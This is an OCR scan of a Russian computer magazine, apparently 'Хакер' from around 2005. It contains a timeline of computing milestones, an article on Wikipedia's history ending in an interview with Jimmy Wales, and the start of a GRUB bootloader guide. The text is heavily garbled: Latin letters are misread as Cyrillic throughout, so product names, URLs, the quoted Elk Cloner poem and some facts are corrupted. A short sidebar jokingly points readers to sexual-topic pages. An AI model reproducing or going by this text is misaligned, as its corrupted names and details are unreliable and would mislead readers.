ли по цене $666 за штуку. Арріе I был первым персональным 
компьютером, который продавался в рабочем состоянии и не 
требовал предварительной сборки. 17 апреля 1977 года на пер- 
вой американской компьютерной ярмарке друзья представили 
новую модель Арріе II, которая благодаря своим возможностям и 
доступности стала очень популярной среди простых пользова- 
телей и открыла эру персональных компьютеров. 



1976 



1982 




КОМПЬЮТЕРНЫЙ ВИРУС 

Эволюция компьютерных вирусов началась в 1982 году с творе- 
ния 15-летнего школьника Ричарда Скренты. Вирус, который он 
написал (ЕІк СІопег), заражал системы Арріе II, проникая с инфи- 
цированных дисков в память компьютера и осуществляя провер- 
ку новых флопов. Если вставленная дискета оказывалась чис- 
той, то вирус копировал себя на нее, медленно переползая с 
диска на диск. ЕІк СІопег, как и большинство ранних вирей, был 
безвредным, но через каждые 50 запусков выводил на экран ко- 
роткое стихотворение: 

ЕІк СІопег: ТЬе ргодгат ѵѵіІЬ а регзопаіііу 
II ѵѵіІІ деі оп аІІ уоиг сіізкз 
II ѵѵіІІ іпШгаіе уоиг сЬірз 
Уез іі’з СІопег! 

К ѵѵіІІ зііск Іо уои Ііке діие 
К ѵѵіІІ тосіііу гат Іоо 
ЗепсІ іп (бе СІопег! 

Имелись подозрения, что вирус мог повредить дискету с неуста- 
новленной операционной системой. Несмотря на то, что ЕІк 
СІопег не получил большого распространения и его жертвами 
стали в основном друзья и знакомые Ричарда (включая учителя 
математики), эта программа стала первым зафиксированным 
компьютерным вирусом, вышедшим за пределы компьютера 
своего автора. 



НОУТБУК 

Первые ноутбуки не выглядели, как складывающаяся книжка, но 
зато были портативными и со временем привели к созданию тех 
ноутбуков, которые мы имеем сегодня. Вероятно, прародителем 
современных ноутбуков стал компьютер, разработанный Уилья- 
мом Могграйджем. Он весил в 5 раз меньше, чем аналогичные 
по производительности машины, и был на службе ІХІАЗА в прог- 
раммах по запуску шаттлов. Первым коммерческим ноутбуком 
стал ОзЬогпе 1, представленный в апреле 1981 года компьютер- 
ной компанией ОзЬогпе. Весил он 12 килограммов, имел 4 Мгц 
процессор 280, 64 Кб памяти, 5-дюймовый дисковод, миниатюр- 
ный 5-дюймовый экран и стоил в районе $2000. В качестве ОС 
использовалась популярная в то время СР/М 2.2. Помимо этого, 
в комплекте поставлялись текстовый процессор ѴѴогбЗіаг, каль- 
кулятор Зирегсаіс, программа для работы с базами данных 
ЬВазе II и язык программирования Вазіс. Вскоре после начала 
продаж появилось множество клонов первого ноутбука от дру- 
гих компаний, стремящихся урвать с новинки свой кусок. Но 
настоящим конкурентом Осборну стал Каурго II — ноутбук ново- 
го поколения с более практичным 9-дюймовым экраном и диска- 
ми двойной плотности, на которых можно было вместить вдвое 
больше информации. Сделать ответный ход компания ОзЬогпе 
не смогла и вскоре обанкротилась. 



1981 


\ 


1987 


ійаі 



МРЗ 

В 1987 году престижнейший германский институт Франховера 
запустил новый исследовательский проект ЕІІВІКА, целью ко- 
торого была разработка новых способов сжатия аудиосигнала 
без потери качества. Главным разработчиком был Карлхейнз 
Брэнденбург — известный математик и специалист по сжатию. 
Он построил аппарат размером с холодильник, который мог 
сжимать музыкальный файл до 8% от его оригинального раз- 
мера. После этого профессор сфокусировал усилия на восп- 
роизведении подобного сжатия через алгоритм. Результатом 
стал МРЕѲ-1 Ьауег 3, который был рассмотрен в мае 1988 года 
на встрече 25 участников Моѵіпд Рісіиге ЕхреПз Огоир — спе- 
циального отдела мультимедийных стандартов комитета ІЗО. А 
чуть позже был запатентован институтом. Потребовалось еще 
несколько лет, чтобы алгоритм превратился в полноценный 
формат сжатия, позволивший сократить размер музыкальных 
файлов без потери качества в 10 раз. Достичь этого удалось 
путем отсеивания «незначительных» частей звука, которые не 
распознаются человеческим ухом. В начале 90-х трЗ исполь- 
зовался в профессиональных приложениях, а с развитием Ин- 
тернета стал очень популярным. 
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ѵѵѵга 

ѴѴѴѴѴѴ является одним из самых влиятельных компьютерных 
изобретений. Его концепция была разработана в 1989 году в Ев- 
ропейском Центре Ядерных Исследований (СЕВЫ), находящем- 
ся в Женеве. Автор. Тим Бернере Ли, уже долгое время пытался 
объяснить сетевому сообществу, что гиперлинковая среда явля- 
ется оптимальной для компьютерных сетей. И, так как поддерж- 
ки не встретил, решил самостоятельно воплотить ее в жизнь. В 
октябре 1990 года Тим приступил к работе над гипертекстовым 
браузером с графическим интерфейсом, который назвал ѴѴогІб 
ѴѴІбе ѴѴеЬ. А через год опубликовал в новостной группе аІМтурег- 
Іехі подробную документацию. Руководство СЕВЫ одобрило кон- 
цепцию Тима и после тестирования на своих компьютерах 
представила ѴѴѴѴѴѴ широкой публике. По-настоящему популяр- 
ным веб стал с появлением в 1993 году графического браузера 
Мозаіс, который превратил невыразительные гиперссылки в тот 
Интернет, каким мы его знаем сегодня. 





ГІ.А5Н 

В начале 90-х маленькая софтварная компания ЕиІигеѴѴаѵе 
ЗоЙѵгаге, состоящая из 6 человек, выпустила программу 
ЗтаПЗкеІсІі. С ее помощью можно было рисовать несложную 
векторную графику для планшетных компьютеров. Когда Ин- 
тернет стал набирать обороты, компания решила добавить в 
свою программу возможности анимации и адаптировать 33 под 
сетевую среду. В мае 1996 года ЕиІигеѴѴаѵе представила свой 
новый продукт под названием ВиІигеЗрІазИ Апітаіог, напомина- 
ющий своего предшественника, но имеющий намного больше 
графических возможностей и ориентированный на анимацию. 
Приложение занимало мало места и поэтому идеально подхо- 
дило для использования в Сети, где размер скачиваемых фай- 
лов для большинства пользователей был критичным. Техноло- 
гия не осталась незамеченной: Місгозоіі использовала ее при 
создании сайта МісгозоН'з МЗІЧ а Оізпеу — в своем новом пор- 
тале Оаііу ВІазІ. В декабре 1996 года Масготебіа — один из ве- 
дущих производителей графических пакетов — обратила вни- 
мание на маленькую, но перспективную контору и взяла ее под 
свое крыло. Зріазб сразу же переименовали в Масготебіа 
ЕІазІі, а в следующем году вышла уже вторая версия с поддерж- 
кой стереозвука и епИапсеб Ьіілпар. Практически сразу после 
своего появления технология флеш стала популярной для соз- 
дания интерактивных сайтов, презентаций и рекламных клипов, 
а в последние годы также появилось огромное количество фле- 
шевых мультфильмов. 



идѵд 

Язык программирования баѵа получил рождение в недрах Зип 
Місгозузіетз как один из внутренних проектов компании. Коман- 
де разработчиков, состоящей из инженера Патрика Нэйтона, а 
также его помощников — Джеймса Гослинга и Майка Шеридана, 
дали задание разработать новую технологию программирования 
«умных» бытовых приборов нового поколения. Нэйтон с коллега- 
ми сначала собирались использовать в качестве основы С++. Но 
оказалось, что этот язык слишком сложен, плохо подходит для 
работы с системной памятью и быстрого портирования на различ- 
ные девайсы. Руководитель ЗЕІИ Билл Джой предложил объеди- 
нить лучшие стороны языков Меза и С, после чего Гослинг прис- 
тупил к экспериментам с С++, расширяя его и модифицируя. Кон- 
чилось это тем, что он бросил эту затею и создал совершенно но- 
вый язык программирования, получивший название Оак (в честь 
дерева, растущего у окон его офиса). Команда с энтузиазмом 
продолжала работать над проектом, и 3 сентября 1992 года сос- 
тоялась презентация интерактивной среды, включающей новую 
операционную систему Ѳгееп, язык программирования, библио- 
теки и техническое оборудование. Проект получил название Еігзі 
Регзоп Іпс. и предназначался для использования в телевидении. 
Но после того как телевизионная индустрия отказалась от услуг 
ЗІІКІ, компания решила направить свои силы на покорение Интер- 
нета. Язык Оак был переименован в баѵа и представлен как плат- 
форма для создания интерактивной сетевой среды. 




5КѴРЕ 

Зкуре — это построенная на основе технологии р2р система ин- 
тернет-телефонии (ѴоІР). Ее создателями стали авторы Ка2аА 
Янус Фрис и Никлас Зэннстром, которые хотели представить 
что-то новое в противовес распространенным ѴоІР-протоколам 
ЗІР и Н.323. С помощью Зкуре интернетчики, живущие в разных 
концах мира и скачавшие специальную программу, могут разго- 
варивать друг с другом совершенно бесплатно. За небольшую 
плату можно звонить с компьютера на обычные телефоны, полу- 
чать с них звонки или голосовые сообщения. В отличие от обыч- 
ных междугородних звонков, в системе Зкуре расстояние не 
имеет значения. Цена за минуту разговора составит около двух 
центов, и не важно, звонишь ты через океан или со своего 
компьютера на своей же домашний телефон. Недавно еВау при- 
обрела Зкуре Ѳгоир за 2,6 миллиарда долларов, обещая в бли- 
жайшем будущем сделать интернет-телефонию популярнее 
обычных телефонных звонков по межгороду. Также разработчи- 
ки представили в 2005 году несколько новых возможностей, 
включая видео- и телеконференции (голосовое ІВС). 
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Іі ЛЮБОЙ ИНТЕРНЕТЧИК ХОТЬ РАЗ В ЖИЗНИ СИДЕЛ ПЕРЕД БРАУЗЕРОМ С КУЧЕЙ ОТКРЫ- 
ТЫХ ПОИСКОВИКОВ И ТОСКЛИВО МЕЧТАЛ О САЙТЕ, НА КОТОРОМ ЕСТЬ ВСЕ. ОТВЕТЫ НА 
ЛЮБЫЕ ВОПРОСЫ, ПОДРОБНЫЕ СТАТЬИ НА ВСЕВОЗМОЖНЫЕ ТЕМЫ, МОРЕ ИНФОРМА- 
ЦИИ... СКАЖЕШЬ, УТОПИЯ? ОТНЮДЬ, ДРУЖОК, ТАКОЙ РЕСУРС СУЩЕСТВУЕТ УЖЕ СЕЙЧАС, 
И ИМЯ ЕМУ — ѴѴІКІРЕЮІА. ХОЧЕШЬ УЗНАТЬ О КРУПНЕЙШЕЙ ЭНЦИКЛОПЕДИИ В ИСТОРИИ 
ЧЕЛОВЕЧЕСТВА, ДЕВИЗ КОТОРОЙ: «МЫ СОБИРАЕМ ЗНАНИЯ МИРА»? ТОГДА ЧИТАЙ ДАЛЬШЕ рр 
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ТЕХТ МІРНІИ / МІРРІШШООІСК.РІІ / 



ѴѵІКІРЕВІА 

КОПИЛКА МИРОВЫХ ЗНАНИЙ 



ЭНЦИКЛОПЕДИЧЕСКИЕ КОРНИ 

Идея создания «единой базы знаний ми- 
ра» берет начало из далекого прошлого. 
Еще в древности люди пытались как-то 
систематизировать и увековечить свои 
знания. В итоге и придумали энциклопедии 
как таковые. Правда, пользоваться объем- 
ными томами не всегда удобно. К примеру, 
издание «БСЭ» (Большая Советская Эн- 
циклопедия) 1950 — 1960 годов насчитыва- 
ет 51 том. Места все это сокровище зани- 
мает немало, стоит дорого, и пока най- 
дешь, что нужно, может пройти куча време- 
ни. Ситуацию не спас даже появившийся в 
1960-м году предметно-именной алфавит- 
ный указатель по «БСЭ» в двух томах. Ко- 
нечно, в наше время уже можно купить 
«Большую Советскую» на СО или ЭѴЭ, но 
тут всплывает еще одна проблема — ин- 
формация, которая устаревает с головок- 
ружительной скоростью. Ученые делают 
новые открытия, писатели пишут новые 
книги, каждый день выходят тысячи газет, 
прогрессирует телевиденье, а уж о Сети и 
говорить страшно. Уследить за всем этим, 
практически не возможно. Сколько людей 
должно ежедневно работать над изданием, 
чтобы идти в ногу со временем, успевать 
не только обновлять старые статьи, но и 
добавлять новые? Но если раньше подоб- 
ное было физически невозможным, то о 
появлением Интернета ситуация измени- 
лась. На сегодняшний день все самые 
крупные энциклопедии мира имеют свои 
представительства в Сети. И все они явля- 




ются платными Причем речь идет не о па- 
ре баксов. Стоимость печатного издания 
ведущих энциклопедий доходит до $1500, а 
доступ к сайту обходится посетителям в 
$50 за год. В свободном доступе в Интер- 
нете можно найти совсем устаревшие эн- 
циклопедии, например, энциклопедии 
«Британника» 1911 года или бета-версии, 
где доступно менее 10% статей. 

Можно ли при таком раскладе создать 
конкурентоспособный бесплатный ре- 
сурс? Можно, если привлечь к делу самих 
пользователей. ѴѴІкіребіа — энциклопе- 
дия, которая наполняется всем миром, и, 
хотя она существует всего 5 лет, уже дав- 
но по контенту догнала и перегнала все 
остальные «копилки знаний», продолжая 
стремительно развиваться дальше. 

ѴѴІКІ-ИСТОРИЯ 

История ѴѴІкіресІіа началась в 2000 году, 
когда Ларри Сэнгер и Джимми Уэйлс, тог- 
да исполнительный директор компании 
Вотіз, решили создать бесплатную и лег- 
кодоступную сетевую энциклопедию. В 
марте 2000 года они успешно открыли 
сайт Ыцресііа ПМиРесІіа.сот ). который фи- 
нансировался фирмой Уэйлса и работал 
на опенсорсном софте. Но главной осо- 
бенностью Ыиресііа стало полное отсут- 
ствие авторских прав. Все материалы 
сайта проходили под ОІЧІІ ЕЭІ_ (Общест- 
венной Лицензией ѲИІІ), которая дает 
каждому пользователю право редактиро- 
вать и распространять (частично или це- 



ликом) содержание любой статьи, не пла- 
тя никому никаких процентов и не нару- 
шая никаких законов. 

Уэйлес и Сэнгер начали пиарить свой ре- 
сурс с написания писем нескольким изве- 
стным ученым, предлагая им принять учас- 
тие в жизни Нупедии. А на самом сайте вы- 
ложили объявление в формате ВТР, пред- 
ложив распечатать его и повесить в своем 
учебном заведении. Так что первыми авто- 
рами статей стали ученые мужи и профес- 
сора из разных стран (России в том чис- 
ле). Обычным людям, которые хотели поу- 
частвовать, приходилось сначала свя- 
зываться с редактором раздела, дока- 
зывать ему, что ты действительно разбира- 
ешься в предложенной теме. Если тебе да- 
вали добро, то ты мог приступить к работе 
и потом отослать свою статью тому же ре- 
дактору, который оценивал ее сам и пока- 
зывал своим коллегам. После утверждения 
несколькими людьми статья отсылалась 
специальному человеку — соруебііог’у, ко- 
торый выискивал там защищенные авторс- 
ким правом тексты или рисунки. И только 
после этого многострадальная статья 
возвращалась к редактору, который раз- 
мещал ее на сайте. 

Процесс этот был долгим и сложным, поэ- 
тому количество статей в [Миребіа не пре- 
вышало сотни. В конце концов стало ясно, 
что при таком подходе сайт быстро разви- 
ваться не может, не говоря уже о том, что- 
бы составить достойную конкуренцию ве- 
дущим энциклопедиям. К началу 2001 года 



СТОИМОСТЬ ПЕЧАТНОГО ИЗДАНИЯ ВЕДУЩИХ ЭНЦИКЛОПЕДИЙ ДОХОДИТ 
ДО $1500. А ДОСТУП К САЙТУ ОБХОДИТСЯ ПОСЕТИТЕЛЯМ В $50 ЗА ГОД. 
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создатели уже подумывали о закрытии Ну- 
педии, как вдруг приятель Ларри Сэнгера, 
Бен Ковиц, предложил решение всех 
проблем. Технология, о которой он рас- 
сказал, носила название ѴѴІкі и позволяла 
любому желающему, минуя длинную це- 
почку редакторов, добавлять статьи на 
сайт и редактировать их. Но главное, что 
история правки каждой статьи хранится 
вечно, так что в случае, если будет удале- 
но что-то важное или внесенные измене- 
ния окажутся неправильными, то вернуть 
все в прежнее состояние сможет любой 
посетитель, заметивший это. 

По сути, ѴѴІкі — это гипертекстовая среда 
для сбора и структуризации письменной 
информации. Первой вики-сетью стало 
«Портлендское хранилище образцов 
программного кода». Сеть была создана 
25 марта 1995 года программистом Вар- 
дом Каннингемом. Само слово ѵѵікі, а вер- 
нее ѵѵікі-ѵѵікі, он позаимствовал из гавайс- 
кого языка, на котором оно означает 
«очень быстро», «как можно быстрее». 
Важно то, что упор в ѴѴІкі-технологии де- 
лается на коллективную работу. Для удоб- 
ства всех работающих на ѴѴІкі-сайте лю- 
дей система правки и добавления новых 
страниц упрощена до двух кликов — «Ре- 
дактировать-Сохранить», а все операции 
по редактированию производятся прямо в 
окне браузера. Любая страница ѴѴІкі-сай- 
та — это статья, состоящая из названия и 
содержимого, в которую можно вставлять 
НТМІ_-тэги или особую ѴѴІкі-разметку, 
признанную более простой и удобной, 
чем тэги. Например, чтобы вставить в 
текст ссылку на другую статью, тебе не 
нужно писать <а Иге1=»іт11р://адрес ссыл- 
ки»>Название ссылки</а> и тому подоб- 
ное. Достаточно просто вставить назва- 
ние статьи, на которую ссылаешься (в 
квадратных скобках — [[Название 
статьи]]), и после нажатия кнопки «Сохра- 
нить» получится ссылка. При этом битых 
или мертвых линков просто не бывает. Ес- 
ли статья с таким именем уже существует, 
то ссылка будет синего цвета, если нет — 
красного и приведет на страницу «пока 
еще не написанной статьи». 

Сэнгер загорелся этой идеей и без труда 
убедил Уэйлса перевести Нупедию на но- 
вый движок. А 10 января 2001 года энцик- 
лопедия уже была запущена в новом фор- 
мате. Но не все отнеслись к нововведени- 
ям с оптимизмом. Многим ученым, рабо- 
тавшим над проектом, идея в корне не 
понравилась, так как их пугала мысль, что 
статьи может редактировать любой жела- 
ющий. «Что будет, когда тысячи простых 
пользователей доберутся до сайта и нач- 
нут изменять все на свой лад? Какая мо- 
жет быть объективность в таких сомни- 
тельных, никем не контролируемых дан- 
ных?» Ропот был так силен, что Уэйлс и 




Сэнгер посоветовались и вернули Нупе- 
дии старый движок, а затем просто созда- 
ли новый сайт — ѴУІкіоесІіа.сот . Лицензия 
СКИІ РОБ позволила им перенести на Ви- 
кипедию всю информацию с Нупедии и 
оставить старый ресурс как есть, специ- 
ально для тех, кто не желал перемен. 

ВИКИПЕДИЯ СЕГОДНЯ 

Официально ѴѴІкІресІіа.сот (а позднее — 
ѴѴІкіоебіа.ога ) была запущена 15 января 
2001 года. Главными ее принципами стали 
нейтральная точка зрения во всех стать- 
ях, полная свобода информации и бесп- 
латность. Ну и конечно, свободный доступ 
не только к чтению энциклопедии, но и к 
правке. Несмотря на мрачные прогнозы 
ученых, все оказалось не так страшно. 
Критики ѴѴІкі-технологии всегда упирали 
на самое, по их мнению, слабое место 
системы — вандализм. Дав возможность 
редактировать статьи любому пользова- 
телю, следовало ожидать, что желающих 
прийти и все опошлить будет немало. Но 
на тему вандализма уже все давно сказа- 
но на самой Википедии. Вот выдержка из 
статьи «Википедия: Вандализм»: 
йй ...вандализм, несмотря на распростра- 
ненное мнение, на самом деле не предс- 
тавляет большой проблемы для Википе- 
дии, так как все изменения статей хранят- 
ся в специальной базе данных. Таким об- 
разом, злоумышленники не могут уничто- 
жить информацию полностью. Посети- 
тель, заметивший, что статья была испор- 
чена, может сделать откат поврежденной 
версии, сделать это совсем несложно. 
Чтобы вынести предупреждение , необхо- 
димо в обсуждении его профиля добавить 
шаблон вандала : ЦзиЬзбѵапбаІІ}. 
Поскольку количество людей, желающих 
заниматься вандализмом, приблизитель- 
но равно количеству людей, желающих 
восстановить истину, создание условий, 
при которых второе сделать легче, чем 
первое, делает материалы Википедии все 
более и более соответствующими истине. 
По результатам исследований, большин- 
ство последствий вандализма в английс- 
кой части Википедии нейтрализуются в 
считанные минуты щ щ. 

Принцип Википедии — чинить проще, чем 
портить — себя полностью оправдал. 
Приведу еще немного цифр, чтобы дать 
понять, каких колоссальных масштабов 
достигла свободная энциклопедия на се- 
годня. Самым крупным языковым сегмен- 
том Вики по-прежнему является англоя- 
зычный, сейчас он содержит почти 900 ты- 
сяч статей. Всего же языков у Википедии 
более 200, так что проект по-настоящему 
международный. Несколько лет назад 
сайт ѴѴІкі ребіа.ога не входил даже в 10,000 
лучших веб-сайтов Сети, а теперь он нахо- 
дится в 30-ке лучших, с более чем 2,5 мил- 



лиардами запросов страниц в месяц. 
В прошлом году ежедневно ѴѴІкіребіа ис- 
пользовали примерно полпроцента интер- 
нетчиков, сегодня эта цифра увеличилась 
почти вчетверо. Бюджет Википедии соста- 
вил $15,000 в 2003 году, $25,000 — в 2004- 
м, и более $700,000 — в этом году. В сле- 
дующем году речь уже пойдет о миллионах 
долларов. Формируется этот самый бюд- 
жет Фондом Викимедиа и десятками тысяч 
добровольцев, которые тратят свое время 
и силы на поддержку проекта, веря в то, 
что знания — сила, и они должны быть 
свободными. Здесь главный принцип — 
каждый вносит посильный вклад, причем 
средний взнос составляет примерно $20. 
Фонд Викимедиа поддерживает и другие не- 
энциклопедические проекты по созданию 
свободных публикаций в Интернете: сво- 
бодную библиотеку (Викитека), бесплатные 
учебники (Викиучебник), словари (Викисло- 
варь), открытое новостное издание (Вики- 
новости) и собрание цитат (Викицитатник). 

А КАК ЖЕ НАШИ? 

Все же мы в России живем, а не в США, 
поэтому уделю немного внимания нашей 
Вики. Русский раздел Википедии был соз- 
дан 20 мая 2001 года. Первым админист- 
ратором русскоязычной Вики стал чело- 
век, для которого русский — не родной 
язык. Время шло, и к 3 августу 2004 года 
русская Википедия насчитывала лишь 
5000 статей, что на общем фоне было 
ничтожно мало. Но в том же месяце в из- 
вестном компьютерном журнале выходит 
статья, написанная администратором на- 
шей Вики Сіас’ом: «Как стать Вольтером, 
или самая свободная энциклопедия». 
Статья вызвала большой интерес к ресур- 
су и приток новых участников увеличил- 
ся. Таким образом, уже к концу 2004 года 
русская Вики берет планку в 10,000 ста- 
тей и сдвигается с мертвой точки. В 2005 
году русскоязычный раздел Википедии 
стал быстро набирать обороты. Статьи 
про Википедию появлялись в других жур- 
налах и газетах, заинтересованных людей 
появлялось все больше, количество мате- 
риала росло (50 статей в день). Летом это- 
го года в Питере даже состоялась первая 
встреча википедианцев, то есть русского 
ѴѴІкі-комьюнити. 21 сентября на фестива- 
ле «Интернит-2005», проходившем в Но- 
восибирске под девизом «Интернет для 
пользы дела!», наша Википедия победила 
в номинации «Сервис года». А под конец 
2005 года произошло сразу два заметных 
событья: 1 ноября впервые вышли «Вики- 
новости» на русском, а 4 декабря количе- 
ство статей превысило 40-тысячную отмет- 
ку. На момент написания статьи (18 декаб- 
ря 2005 года) русский сегмент Википедии 
находится уже на 12-м месте со 49,338 
опубликованными статьями. 
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Если есть минимальное знание английского — 
не забудь посетить: 

ННр://еп.ѵѵікіребіа.ога/ѵѵікі/Ріи53іап іокез 
ННр://еп.ѵѵікІребіа.ога/ѵѵікі/8ехиаІ розіііоп 
И1ір://еп.ѵѵікіресііа.ога/ѵѵікі/РогпоагарІіѵ 
ИНр://еп.ѵѵікІресііа.ога/ѵѵікі/Огоир зех 
Никакой пошлости — чистая информация! Узна- 
ешь много нового :). С русскими нецензурными сло- 
вами тоже советую поэкспериментировать. 




Мо://иотк.цѵікіоес1іа.ога — 
главная страница свободной энциклопедии 
ІП1р://ічшікірѳсІіа.ога — 
русскоязычная Википедия 
Мр://те!а.ѵѵікІресІіа.ога — 

Википедия о Википедии, вся информация о проекте 
ІіНр://ги.ѵуікіресііа.ога/уѵікі/Википедия:Викимания 2005 — 
отчет о конференции глазами участника 





ДЕСЕРТ 

Кто лучше всего может рассказать о сайте, как 
ни его создатель? Заручившись поддержкой 
администратора русской Википедии Сіас’а, 
мне удалось взять интервью непосредственно 
у мистера Джимми Уайлса — единственного не 
отошедшего от дел отца-основателя Википе- 
дии. Ларри Сэнгер оставил проект и сейчас 
преподает философию в университете штата Огайо. 

МіігіІІ (М): Совсем недавно вокруг Википедии разгорелся гром- 
кий скандал. Виной всему — биография известного журналиста 
Джона Сейгенталера, в которой содержались неверные данные, и 
Сейгенталер счел их для себя оскорбительными. Даже опублико- 
вал скандальную статью в ІІЗАТобау, обвиняя Википедию в клеве- 
те. Вы же в прямом эфире СЫИ объявили о введении временной, 
но не имеющей аналогов санкции: теперь незарегистрированные 
пользователи англоязычной версии ресурса не могут создавать 
новые статьи. Хотелось бы узнать, будет ли аналогичная мера вве- 
дена в остальных сегментах, и как вы собираетесь в будущем обе- 
зопасить Вики от подобных инцидентов? 

Джимми Уэйлс (ДУ): Нет, в других языковых сегментах таких 
мер вводить не планируется. Мы постоянно в движении, постоян- 
но прогрессируем, совершенствуем наш софт, и по мере роста 
Википедии собираемся и дальше придерживаться этого курса. На 
следующей неделе как раз будет обсуждаться введение целого 
ряда новых инструментов, которые позволят более детально мони- 
торить сайт. В частности, в январе мы будем тестировать новый 
механизм для обработки статей. 

М: Давно вы в последний раз сами писали статьи для Википе- 
дии? Занимаетесь ли этим сейчас? 

ДУ: Последняя моя статья в Википедию была о Тиме Гаплахаре 
— ученом, который принимал участие в повторном открытии бе- 
локлювых королевских дятлов. На самом деле, я не так часто за- 
нимаюсь редактированием Википедии или написанием статей, 
так как у меня почти нет на это времени. Но если удается выкро- 
ить часок-другой, то делаю это с большим удовольствием. 

М: Википедия огромна, просто колоссальна. И хотя англоязыч- 
ный сегмент остается крупнейшим, другие языки не менее 
важны. Изучаете ли вы другие ѴѴІкі-сегменты, наблюдаете ли за 
их развитием? 

ДУ: Я сейчас учу немецкий и активно пользуюсь немецкой Вики- 
педией как подспорьем в изучении языка. Стараюсь каждый 
день прочитывать хотя бы парочку статей на немецком. Кроме 
того, я стремлюсь поддерживать связь с как можно большим 
числом других ѴѴІкі-комьюнити, но здесь все держится на посто- 
янной связи с лидерами этих сообществ лично. Вообще, я очень 
люблю встречаться с википедианцами по всему миру, потому что 
мы очень дружное сообщество. 



М: В свежем журнале Ыаіиге сравнивается качество Британни- 
ки и Википедии. Эксперты журнала обнаружили в Википедии 
множество фактических ошибок. Безусловно, эта статья приве- 
ла к исправлению ѴѴІкі-сообществом ошибок в этих статьях. Но 
как быть с остальными статьями? Что это за энциклопедия, ес- 
ли ей нельзя доверять? 

ДУ: Все материалы сайта постоянно подвергаются серьезной 
проверке. В настоящее время механизм обработки статей устро- 
ен таким образом, чтобы редакторам было как можно проще от- 
мечать и редактировать статьи, требующие правки. 

М: Будет ли выпущена бумажная версия Википедии? 

ДУ: Да, переговоры об этом уже велись с целым рядом изда- 
тельств. Однако пока проект находится на самой ранней стадии, 
и говорить об этом рано. 

М: Есть статьи, тематика которых довольно остра и может выз- 
вать ярость у некоторых людей. Насколько защищены ваши ав- 
торы от таких недоброжелателей? 

ДУ: Авторы имеют возможность зарегистрироваться и публико- 
вать статьи или вносить правки не под своим ІР-адресом напря- 
мую, а под выбранным ими логином. В этом случае ІР нигде отоб- 
ражаться не будет. В свою очередь, Фонд Викимедия откроет 
личные данные зарегистрированного пользователя, такие как 
его ІР-адрес, только по распоряжению суда. 

М: Фонд Викимедия постоянно собирает деньги на новые серверы. 
Однако объем базы растет в геометрической прогрессии, и рано 
или поздно наступит момент, когда Викимедия не сможет собрать 
достаточное количество денег для сохранения всех этих данных. 
Что произойдет в этом случае? 

ДУіУ нас никогда не возникало финансовых проблем для докупки 
необходимого железа. Потребность в новых серверах возникает, 
когда увеличивается трафик, но возросший трафик значит, что 
к нам стало приходить еще больше людей, которые могут пожерт- 
вовать деньги на новые серверы. Для нас более актуальна другая 
проблема: как собрать дополнительные средства на поддержку на- 
ших благотворительных проектов в развивающихся странах. 

М: Так как я представляю журнал «Хакер», то просто не могу не 
спросить, взламывали ли когда-нибудь сайт Википедии? Если 
нет, то существует ли возможность, что хакер сможет проник- 
нуть на сервер и стереть базу Википедии и все ее бэкапы? 

ДУ: На первый вопрос ответ — «нет». По поводу второго вопро- 
са... Вся информация, содержащаяся в Википедии, подпадает под 
известную вам лицензию ѲРОІ_. То есть весь контент абсолютно 
бесплатен и может свободно распространяться по Сети в любом 
виде. И если хакер взломает наши серверы, и все базы Википедии 
будут уничтожены, то он удалит всего лишь базы, а не саму инфор- 
мацию. Информация повсюду и уничтожить ее невозможно. 

ВІЫАНѴ ѴОІЖ 5 тг; 
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ІІІМІХОЮ 




ТЕХТ ЕВГЕНИЙ ЗОБНИН АКА Л М / Л М@иЗТ.ГШ / 



ЛИЛОВАЯ 

ГРУБОСТЬ 

ДЕТАЛЬНОЕ ОПИСАНИЕ 
ПОПУЛЯРНЫХ МЕНЕДЖЕРОВ 
ЗАГРУЗКИ 



ІІ ПЕРСОНАЛЬНЫЕ КОМПЬЮТЕ- 
РЫ УЖЕ ДАВНО ПЕРЕСТАЛИ БЫТЬ 
НОСИТЕЛЯМИ ОДНОЙ ОПЕРАЦИ- 
ОННОЙ СИСТЕМЫ. ТЕПЕРЬ НА 
СВОИ МАШИНЫ МЫ УСТАНАВЛИ- 
ВАЕМ НЕСКОЛЬКО СОВЕРШЕННО 
ОТЛИЧНЫХ ДРУГ ОТ ДРУГА ОС. ПО- 
ЭТОМУ НУЖЕН МОЩНЫЙ ИНСТРУ- 
МЕНТ, СПОСОБНЫЙ ЗАГРУЗИТЬ 
ЧТО УГОДНО, КОГДА УГОДНО И КА- 
КИМ УГОДНО ОБРАЗОМ. ТАКИМ 
ИНСТРУМЕНТОМ МОЖЕТ СТАТЬ 
ОШ ОРЦВ, ПРЕИМУЩЕСТВА КОТО- 
РОГО МЫ ПОСТАРАЛИСЬ РАСК- 
РЫТЬ В ЭТОЙ СТАТЬЕ 

МАЛЬЧИК ИЛИ ДЕВОЧКА? 

ѲРІІВ — одна из немногих аббревиатур в ми- 
ре ѲІМІІ, буква Ѳ которой не означает тот са- 
мый ѲЫІІ. Расшифровывается следующим 
образом: ѲВапсІ ІІпіІіесі ВооИоабег. Если го- 
ворить о функциональной начинке, то ѲРІІВ, 
скорее всего, относится к операционным 
системам, нежели к загрузчикам. В подтве- 
рждение этому высказыванию приведу сок- 
ращенный перечень того, что может этот ме- 
неджер загрузки: 

1 Поддержка различных форматов 
исполняемых файлов (в том числе Е1_Р). 

2 Механизм прозрачной декомпрессии 
дгір-архивов. 

3 Удобное меню. 

4 Богатый на возможности интерфейс 
командной строки. 

5 Чтение со всех популярных файловых систем. 

6 Загрузка ОС с удаленного компьютера 
по ТРТР-протоколу. 

7 Способность загружаться прямо с СО. 

В ѲРІІВ вполне приемлемой будет такая ко- 
манда: «саі (1ісІ0,5)/еІсДзІаЬ», где фсЮ,5) — 
это корневой раздел. На экране появится со- 
держимое запрашиваемого файла, а при на- 
боре команды все пути (в том числе номер 
раздела) будут дополнены по нажатию 
<ТАВ>. На самом деле этот пример слишком 
простой для ѲРІІВ, ведь весь загрузчик, от 
цвета меню и до списка операционных систем 
и методов их загрузки, можно настроить не 
выходя из него самого (правда, настройки 
сохранить не удастся, так как файловая сис- 
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тема доступна только на чтение). То есть прог- 
рамма является самодостаточной и может по 
праву носить титул Операционной Системы. 

ОТ СЛОВ К ДЕЛУ 

Итак, мы узнали, что ѲРІІВ — это действитель- 
но ѲгапсІ, и теперь переходим непосредствен- 
но к установке. Забираем исходники с офици- 
ального сайта проекта ѲМІІ: уу\л/уу.апи.ога/зой- 
Ѵ'/аге/агиЬ/агиЬ.еп.І'іІтІ (или устанавливаем 
грт-, беЬ-, Ідг-пакет для своего дистрибутива). 
После выполнения привычных телодвижений в 
виде «ѴсопЯдцге && таке && таке іпзіаіі» по- 
лучаем бинарник «дгиЬ» в /ивг/вЫп (или 
